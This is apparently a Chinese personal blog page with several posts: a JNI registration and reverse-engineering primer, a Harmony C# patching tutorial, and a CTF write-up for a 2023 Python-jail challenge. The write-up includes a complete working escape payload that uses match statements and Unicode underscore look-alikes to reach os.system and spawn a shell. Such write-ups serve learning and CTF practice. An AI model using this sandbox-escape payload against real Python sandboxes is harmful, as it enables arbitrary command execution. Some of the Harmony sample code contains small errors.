Skip to main content

· 5 min read

静态注册

注册是将 Native 层函数挂载到 Java 上的过程。 Java 通过类似于 public native ... 的字样来声明这是一个 Native 层函数,挂载后就可以当作正常函数来调用。

使用例

package who.care;

public class Cls {
static {
System.loadLibrary("util"); // libutil.so
}
public native void sayHello();
}

静态注册,有命名约定,其函数声明如下: Java_<packagename>_<classname>_<methodname>(JNIEnv* env, jclass clazz, <params>)

若文件载入了 Jni.h,则会收集命名符合该模式的函数自动注册。

若是重载函数,需要额外追加双下划线 + 参数签名,对签名中特殊字符需要进行转义。 Java_<packagename>_<classname>_<methodname>__<signature>

  • / -> _
  • _ -> _1
  • ; -> _2
  • [ -> _3
  • ...

动态注册,则是提供一个包含上面信息的表,在 JNI_Onload 函数中手动注册 JNI_Onload 是载入 Jni.h 后执行的第一个函数。 动态注册不会有命名的限制

如果发现 so 文件里没有多少以 Java_ 开头在函数,可考虑是否为动态注册,

动态注册的流程

一个 so 文件被连接,其中的 .init 与 .init_array 段会首先被依次执行。

JavaVM & JNIEnv

JavaVM 是虚拟机在 JNI 层的表示,一个进程只有一个 JavaVM,所有线程共用一个 JavaVM。 JavaVM 通常只是用来获取 JNIEnv。

JNIEnv 表示 Java 调用 native 语言的环境,是一个封装了几乎全部 JNI 方法的指针。 native 层可以通过 JNIEnv 调用 Java 层函数。 不同线程的 JNIEnv 彼此独立。

动态注册需要重写 JNI_Onload,并使用 RegisterNatives 手动注册函数,以下是一个示例。

// 1. 重写 JNI_OnLoad 方法
// jint 是 Java int
JNIEXPORT jint JNI_OnLoad(JavaVM* jvm, void* reserved){
// 2. 获取 JNIEnv
JNIEnv* env = NULL;
if(jvm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK){
return JNI_FALSE;
}
// 3. 获取注册方法所在 Java 类的引用
jclass clazz = env->FindClass("com/curz0n/MainActivity");
if (!clazz){
return JNI_FALSE;
}
// 4. 动态注册 native 方法
if(env->RegisterNatives(clazz, gMethods, sizeof(gMethods)/sizeof(gMethods[0]) )){
return JNI_FALSE;
}
return JNI_VERSION_1_6;
}

其中第四步 gMethods 变量是 JNINativeMethod 结构体,用于映射 Java 方法与 C/C++ 函数的关系,其定义如下:

typedef struct {
const char* name; // 动态注册的 Java 方法名
const char* signature; // 方法签名,使用 smali 语法描述
void* fnPtr; // 指向实现 Java 方法的 C/C++ 函数指针
} JNINativeMethod;

RegisterNatives 函数声明如下

jint RegisterNatives(
jclass clazz, // 目标 Java 类
const JNINativeMethod* methods, // Methods 列表
jint nMethods // 一共有几个 Method 需要注册
)

一个 native 方法示例如下:

JNIEXPORT void JNICALL sayHello(JNIEnv *env, jobject a1, jint a2) {
printf("Hello World!\n");
return;
}

可见 native 函数第一个参数总是 JNIEnv,在函数体中就可以通过:

(*env)->funcname()

调用 Java 层函数。

反汇编的情况

源码被编译后,其中变量类型信息几乎会全部丢失。反汇编后需要手动恢复变量的类型。

在反汇编的代码中,指针通常被视为 int__int64 类型。

// 这里 a1 可能是一个指针
char v1 = *(char *)a1;

// 这里 a2 可能是一个双指针,v2 可能是指针
// 取双字长,即 64 位
__int64 v2 = *(_DWORD *)a2;

native 函数反汇编后的特征如下:

(*(int (__fastcall **)(void))(*(_DWORD *)a1 + 676))

可见,a1 为双指针,寻址一次后加上 +676 的偏移,强制类型转换为函数指针。

如 a1 正好是函数的第一个入参,且这个参数在函数中存在 寻址 + 偏移 + 类型转换 (+ 再寻址) 的操作时,则基本可以确定 a1 类型正是 JNIEnv。通过确定类型可以使莫名奇妙的偏移值转换为有名字的 JNI 层函数。

Java Native Interface Specification: 2 - Design Overview (oracle.com)

· 4 min read

CTF 小白,本着重在参与的精神想进队里摸鱼,浪费了一个下午,没想到真的打出了点输出,遂记录之。

题源:2023 强网杯 - Pyjail ! It's myAST !!!!

#!/bin/python3.11
import ast

BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}

BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance,
}


def is_safe(code):
if type(code) is str and "__" in code:
return False

for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
print(x)
return False

return True


if __name__ == "__main__":
user_input = input("Can u input your code to escape > ")

if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})

分析

语法树级别的过滤 & 命名空间限制,目标是 getshell。

由于命名空间限制,获得能 getshell 的函数只能靠继承链,然而语法树又非常重量级地过滤了 Attribute 与 Subscript 操作,想利用继承链必须同时绕过这两个限制。

解法

Trick 1: Match

解此题的突破口在于远端 Python 的版本。自 3.10 起 Python 新增了模式匹配操作,其对应的树节点是 Match,正好不会被过滤。

利用模式匹配,我们可以捕捉一个实例任何的属性:

def get(d, key):
match d:
case dict(get=func):
return func

get(dict) == dict.get

使用这个 trick,就可以将 Attribute 与 Subscript 全部替换成 Match 操作,绕过过滤。

但还有一个问题。

继承链的利用少不了双下划线,然而这题却很鸡贼的也检测了双下划线。因此需要第二个 trick。

Trick 2: Unicode

Unicode 等价性(Unicode equivalence)是为和许多现存的标准能够兼容,Unicode(统一码)包含了许多特殊字符。在这些字符中,有些在功能上会和其它字符或字符序列等价。因此,Unicode 将一些码位序列定义成相等的。Wikipedia

当 Python 解释代码时,它会首先使用名为 NFKC 的规范化算法对 Unicode 进行等价,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

import unicodedata
for i in range(0x000000, 0x10FFFF):
ch2 = chr(i)
if '_' == unicodedata.normalize('NFKC', ch2):
print(ch2)

上述脚本可以找到所有与下划线 _ 等价的 Unicode 字符,它们在解释器眼中是同一个字符:︳︴﹍﹎﹏_

match str():
case (_﹍class﹍_=clazz):
...

于是可以绕过。

Payload

一个可用的 Payload

def s(b):
match bytes([b]):
case bytes(decode=func):
return func()
while o := len([min]):
while t := len([min, min]):
while th := len([min, min, min]):
while fo := len([min, min, min, min]):
while ten := len([min, min, min, min, min, min, min, min, min, min]):
match str():
case object(_﹍class﹍_=clazz):
match clazz:
case object(_﹍bases﹍_=bases):
match bases:
case object(_﹍getitem﹍_=gb):
match gb(len([])):
case object(_﹍subclasses﹍_=subclasses):
match subclasses():
case object(_﹍getitem﹍_=g2):
match g2(ten * ten + t*t):
case object(load_module=lm):
match lm(s(ten*(ten+o)+o)+s(ten*(ten+o)+fo+o)):
case object(system=sys):
sys(s(ten*(ten+o)+fo+o)+s(ten*ten+t*t))

· 4 min read

概念

https://github.com/pardeike/Harmony

C# 的运行时库。

Harmony 提供了大量高阶 API 用来非常方便地打补丁,简单易上手。

补丁分三种:

  • Prefix
  • Postfix
  • Transpiler

基础用法

public class TargetClass {
public int TargetMethod(int i)
{
return i + 100;
}
}

[HarmonyPatch(typeof(TargetClass))]
[HarmonyPatch(nameof(TargetClass.TargetMethod))]
public static class Patch_Something
{
public static void Postfix(ref int __result)
{
if (__result > 0)
{
result = 0;
}
}
}

只需为补丁类标记 HarmonyPatch 特性,Harmony 即可自动收集。

再在任意流程处执行补丁(此处以游戏 RimWorld 为例):

[StaticConstructorOnStartup]
public static class Patch_Apply
{
static Patch_Apply {
new Harmony("patcher.id").PatchAll();
}
}

变体

Harmony 的特性标记使用方法灵活,上例可以有另一种写法:

[HarmonyPatch(typeof(TargetClass), nameof(TargetClass.TargetMethod))]
public static class Patch_Something
{
[HarmonyPrefix]
public static void Method(ref __result)
{
if (__result > 0)
{
result = 0;
}
}
}

具体参见 https://harmony.pardeike.net/articles/annotations.html

格式

补丁类必须为静态类。

bool Prefix(...);

Prefix 在原方法之前执行,若返回 true 则跳过原方法。

在 Prefix 中仍可更改原方法的返回值,详见下一节。

void Postfix(...);

Postfix 在原方法之后执行。

IEnumerable<CodeInstruction> Transpiler(IEnumerable<CodeInstruction> instructions);

Transpiler 直接修改原方法的 IL Code。

特殊参数

Prefix 与 Postfix 补丁有一些预设的特殊参数:

paramdesc
__instance目标类的实例,若目标类为静态类则为 null
__result目标方法的返回值,可通过 ref 修改
__state状态寄存,可在 Prefix 与 Postfix 间传递
NAME目标方法的同名传入参数
___NAME目标类的同名私有属性

精确制导

指定入参

void Method(char a, int b);

[HarmonyPatch("Method", new Type[]{ typeof(char), typeof(int) })]

指定入参 +

void Method(int a, ref int b, out int c);

[HarmonyPatch(
"Method",
new Type[]{ typeof(int), typeof(int), typeof(int) },
new ArgumentType[]{
ArgumentType.Normal,
ArgumentType.Ref,
ArgumentType.Out
}
)]

MethodType

[HarmonyPatch("Method", MethodType.Getter)] // get_
[HarmonyPatch("Method", MethodType.Setter)] // set_
[HarmonyPatch("Method", MethodType.Constructor)] // ctor
[HarmonyPatch("Method", MethodType.StaticConstructor)]
[HarmonyPatch("Method", MethodType.Enumerator)] // .MoveNext

Postfix pass through

补丁无法通过 ref 修改 IEnumerable 类型的返回值,此时需要用到 postfix pass through patch。

具体使用方法为令 Postfix 补丁的第一个入参与出参均与函数出参类型相同,则 Harmony 会自动将其识别为 pass through patch。

动态补丁

[HarmonyPatch]
public static class Patch_Dynamic {
static MethodBase TargetMethod()
{
...
}
}
[StaticConstructorOnStartup]
public static class Patch_Apply
{
static Patch_Apply {
Harmony harmony = new Harmony("patcher.id");
harmony.Patch(MethodBase, postfix: new HarmonyMethod(Postfix));
}
}

执行顺序

[HarmonyPriority(Priority.HigherThanNormal)]
[HarmonyBefore("patcher.id")]
[HarmonyAfter("patcher.id")]

Reverse Patcher

反向 Patch 可以提取目标类的函数。某些情况下可以防止过多使用反射导致的性能问题。

用的不多,略过。

https://harmony.pardeike.net/articles/reverse-patching.html

· 6 min read

写 cron in docker 时小小复习了一遍 cronjob,整理一下以便日后查阅

info

Migrated from old blog

· 5 min read

也许是因为压死线赶作业,不幸追尾了 Office 激活过期日。微软提出的和解条件竟然是……

info

Migrated from old blog